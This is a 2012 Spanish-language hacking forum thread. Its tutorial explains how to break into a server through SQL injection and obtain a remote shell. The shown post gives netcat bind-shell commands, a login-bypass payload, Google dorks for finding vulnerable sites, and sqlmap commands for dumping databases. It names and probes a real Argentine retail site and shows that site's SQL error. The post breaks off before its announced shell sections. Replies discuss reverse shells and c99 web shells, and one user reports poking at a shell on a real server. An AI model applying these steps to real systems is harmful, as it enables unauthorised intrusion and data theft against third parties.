Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Muppet en Junio 22, 2012, 01:39:55 AM

Título: Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Muppet en Junio 22, 2012, 01:39:55 AM
Intrucion a un Servidor Por Sqli y Obtener shell Remota

1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"

Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd

Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:

<%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>

Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico

(http://i45.tinypic.com/vhyds6.png)

www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


http://www.cetrogar.com.ar/result.php?cat='

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

(http://i50.tinypic.com/2zsa6vl.png)

Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html

Nos vamos a Sqlmap

(http://i48.tinypic.com/vfdwfo.png)

Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Pr0ph3t en Junio 22, 2012, 06:00:43 AM
Buen aporte, lo muevo a Bugs y  Exploits que está mejor alli.
Un saludo y gracias! ;)
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Dedalo en Junio 22, 2012, 01:24:41 PM
Excelente aporte bro... muy bien Explicado!


+1


Saludos,
Dedalo
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: عя ҜΔŁĬ en Julio 11, 2012, 04:28:50 PM
gracias, es un tutorial basico pero muy bien explicado.
Una pregunta, por que casi nunca se me conectan los host al netcat? tengo los puertos abiertos y he probado con el comando nc y con el Ncat tambíen, y mu rara vez se me conecta, siempre con el firewall desactivado.
puede ser que el servidor tenga bloqueados los puertos y no puedo usar cualquiera?
Saludos
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Muppet en Julio 11, 2012, 04:48:10 PM
Tenes q usar numeros de puertos altos en el netcat,  si no tienes una ip fija debes correr algun servicio como No-Ip o DynDns para mantener tu ip Dynamica aputando a un host, y tener los puertos q abris con netcat en tu pc, abiertos en el modem/router.
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: عя ҜΔŁĬ en Julio 11, 2012, 05:36:19 PM
he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:

(http://i.imgur.com/ojLlC.jpg)

y el netcat lo dejo asi: (http://i.imgur.com/GMWC4.jpg)

Saludos y gracias
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: darkchoto en Julio 12, 2012, 12:52:52 AM
oye bro una sugerencia, x q no subes el tuto en pdf para que se haga mas facil la lectura offline
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Muppet en Julio 13, 2012, 02:51:17 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:

(http://i.imgur.com/ojLlC.jpg)

y el netcat lo dejo asi: (http://i.imgur.com/GMWC4.jpg)

Saludos y gracias

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: ANTRAX en Julio 13, 2012, 04:34:07 PM
Es un excelente aporte hdbreaker!! Segui asi!!
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: arthusu en Julio 14, 2012, 03:12:13 AM
Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: Muppet en Julio 14, 2012, 05:05:10 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos

Con un bind coneccion muy rara ves vas a tener shell, ya que depende de q el puerto este desocupado y al mismo tiempo abierto en el router/modem cosa q muy rara vez pasa, y la reverse shell q puse esta en perl y la tienes q ejecutar con, perl host puerto -l (para linux) -w (para windows)
Título: Re:Intrusión a un Servidor Por SQLi y Obtener shell
Publicado por: عя ҜΔŁĬ en Julio 15, 2012, 09:12:22 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??
Apunto a mi ip directamente, ya que rara vez reinicio el router y casi siempre tengo la misma